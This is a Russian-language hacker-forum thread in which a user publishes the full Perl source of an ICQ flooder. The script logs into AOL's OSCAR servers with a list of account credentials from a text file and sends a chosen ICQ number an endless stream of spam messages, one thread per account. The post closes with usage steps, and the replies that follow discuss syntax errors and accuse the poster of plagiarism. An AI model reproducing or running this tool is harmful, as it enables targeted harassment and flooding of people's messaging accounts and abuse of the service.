Flooder by eXe pablik v 1.0 Старая версия. Была уже полупаблик. Так пусть будет уже доступна всем! версия для перла... скапируйте в текстовик и перименуйте в формат pl PHP: #!/usr/bin/perl use threads; use threads::shared; use Socket; use Tk; my($main,$Uin,$Time); $main=MainWindow->new(-title => 'eXe_FlooD'); $main->resizable( 1, 0 ); $main->Label(-text => 'ICQ')->pack; $Uin=$main->Entry(-width => 12)->pack; $main->Label(-text => 'Timeout (ms):')->pack; $Time=$main->Entry(-width => 12)->pack; $main->Button(-text => 'FUCK_IT', -command => \&go)->pack(-side => 'top'); $main->Label(-text => 'Coded By eXe ')->pack; $main->Label(-text => 'Version pablic')->pack; $main->Label(-text => 'Specialy for Antichat')->pack; system("cls"); MainLoop; sub go { my $targetUin = $Uin->get; my $timer = $Time->get; my $message = ' *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* *WALL* '; my ($host,$port) = ('login.oscar.aol.com', 5190); my @uins : shared; open(FILE, '<uins.txt'); @uins = <FILE>; close(FILE); chomp(@uins); my $threads = scalar @uins; #количество потоков = количеству асек в файле my @thread; for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 1 } #задержка перед подключением уинов for(1..$threads) { $thread[$_]->join; } sub flood { my ($uin,$password) = split(/;/,shift(@uins)); my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin. "\x00\x02".int2bytes(length($password)). substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)). "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00". "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A". "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00". "\x0E\x00\x02\x75\x73"; my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp')); connect(SOCKET,sockaddr_in($port,inet_aton($host))); my $response; sysread(SOCKET,$response,10); syswrite(SOCKET,$FLAP.$SNAC); sysread(SOCKET,$response,65535); close(SOCKET); if($response=~/MISMATCH_PASSWD/) { return } my ($BOS_Host, $BOS_Port, $Cookie); if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) { $Cookie = parsCookie($response); print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n" } else { return } $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie; $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC)); socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp')); connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BOS_Host))); sysread(SOCKET,$response,10); syswrite(SOCKET,$FLAP.$SNAC); sysread(SOCKET,$response,65535); $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02". "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15". "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06". "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A". "\x00\x01\x01\x10\x02\x8A"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); syswrite(SOCKET,$FLAP.$SNAC); for(;;) { $SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x00\x02". pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102). "\x00\x00". "\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00". "\x00\x0A\x00\x02\x00\x01\x00\x0F". "\x00\x00\x27\x11". #хз int2bytes(length($message)+62). #61 + длина текста "\x1B\x00\x08".("\x00"x19). "\x03\x00\x00\x00". "\x00\x02\x00\x0E\x00\x02".("\x00"x13). "\x01\x00\x00\x00\x00". "\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00"; $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC)); syswrite(SOCKET,$FLAP.$SNAC); print "$uin [+] \n"; sleep ($timer/60); #ЗАДЕРЖКА МЕЖДУ СООБЩЕНИЯМИ } } sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое sub parsCookie { #парсер куки my $cookie = shift; my $i++; for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" } return substr($cookie,4+$i,256) } BEGIN { #счётчик номера пакета my $seqNum = int(rand(65535)); sub seqNum { $seqNum++; $seqNum = 0 if $seqNum > 65535; return int2bytes($seqNum) } } } кидаем скрипт в папку. создаём текстовик uins. кидаем туда номера и флудим.
Bareword found where operator expected at 1.pl line 63, near "$BO S_Host" (Missing operator before S_Host?) syntax error at 1.pl line 63, near "$BO S_Host" BEGIN not safe after errors--compilation aborted at 1.pl line 114. ругаецца(((
У меня тоже дофига ошибок... и перл вроде нормальный.... PHP: $main->Button(-text => 'FUCK_IT', -command => &go)->pack(-side => 'top'); Гду тут ошибка?
*eXe*, наглости хватило чтобы без копирайтов написать и название на своё поменять??? Вот первоисточник: http://forum.asechka.ru/showthread.php?t=103765 Автор сего творения наш ачатовский юзер юзер C!klodoL. =////
Жесть....Плагиат полный....Узнаю раставленные мной таймауты в коде C!klodoL и свою форму з.ы. только мало понимающий чел не поменяет таймаут подключения уинов..... Code: for(1..$threads) { $thread[$_] = threads->create(&flood); sleep 1 } #задержка перед подключением уинов
